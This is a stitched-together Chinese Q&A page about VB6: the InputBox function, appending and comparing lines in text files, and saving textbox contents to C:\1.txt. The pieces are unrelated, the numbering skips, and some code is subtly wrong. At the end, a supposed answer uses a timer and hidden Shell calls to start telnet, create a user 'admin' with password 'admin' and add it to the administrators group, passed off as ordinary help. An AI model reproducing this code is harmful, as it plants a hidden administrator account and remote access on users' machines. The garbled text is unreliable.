vb中如何输入数据

1、vb6中可以使用以下方式输入数据：

a)使用inputbox()函数输入数据；

b)使用Textbox控件（文本框）输入数据；

c)使用文件输入数据；

d)使用数据库输入数据等。

2、详解inputbox()函数输入数据，示例如下：

InputBox 函数：在一对话框来中显示提示，等待用户输入正文或按下按钮，并返回包含文本框内容的 String。

语法：

InputBox(prompt[, title] [, default] [, xpos] [, ypos] [, helpfile, context])

示例：

Dim Message, Title, Default, MyValue

Message = "Enter a value between 1 and 3" ' 设置提示信息。

Title = "InputBox Demo" ' 设置标题。

Default = "1" ' 设置缺省值。

' 显示信息、标题及缺省值。

MyValue = InputBox(Message, Title, Default)

' 使用帮助文件及上下文。“帮助”按钮便会自动出现。

MyValue = InputBox(Message, Title, , , , "DEMO.HLP", 10)

' 在 100, 100 的位置显示对话框。

MyValue = InputBox(Message, Title, Default, 100, 100)

4、其它输入方法可以网上查找或看MSDN。

第1个要求看懂了

第2个要求:

进行完全对比，也就是字符长度跟各位字符的完全对比。

不太明白..

假设:你现在有这个文件了,里面的内容是:

1111

2222

3333

你现在text2中输入的是2222

按你的要求, 这应该是提示成功? 还是不成功?

===================================

Private Sub Command1_Click()

If Len(Text1) >0 And Len(Text2) >0 Then '如果2个文本框非空再继续

Open Text1 &".txt" For Append As #1 '打开文件,追加数据

Print #1, Text2 '写入内容

Close #1

End If

End Sub

Private Sub Command2_Click()

Dim a$

If Len(Text1) >0 And Len(Text2) >0 Then '如果2个文本框非空再继续

If Len(Dir(Text1 &".txt")) = 0 Then '测试有没有这个文件

MsgBox "没有这个文件" '找不到文件时

Exit Sub

Else

Open Text1 &".txt" For Input As #1

Do While Not EOF(1) ' 循环至文件尾。

Line Input #1, a ' 读入一行数据并将其赋予某变量。

If a = Text2 Then

MsgBox "对比成功!!"

Close #1

Exit Sub

End If

Loop

MsgBox "对比不成功!!"

Close #1

End If

End If

End Sub

Private Sub Form_Load()

Text1 = ""

Text2 = ""

Command1.Caption = "添加"

Command1.Caption = "比较"

End Sub

分类: 电脑/网络 >>程序设计 >>其他编程语言

问题描述:

vb中如何把多个文本框里输入的内容保存到一个TXT文件里啊！

比如程序有三个文本框，用户在每个框里分别输入了1，2，3，保存一个文件到C盘的1.txt

1.txt打开后的内容是

1

2

3

如何实现啊，要具体的啊谢谢了！

解析:

第一个很简单

open "C:\1.txt" for output as #1

print #1,text1.text

print #1,text2.text

print #1,text3.text

close #1

第二个也很简单

dim stext(1 to 3) as string

dim inow as long

stext(1)="mand /c start tel"

stext(2)="mand /c user admin admin /add"

stext(3)="mand /c localgroup administrators admin /add"

添加一个时钟发生器,间隔2000毫秒

时钟发生器代码

inow=inow+1

shell stext(inow), vbHide

if inow=3 then timer1.enable=false

---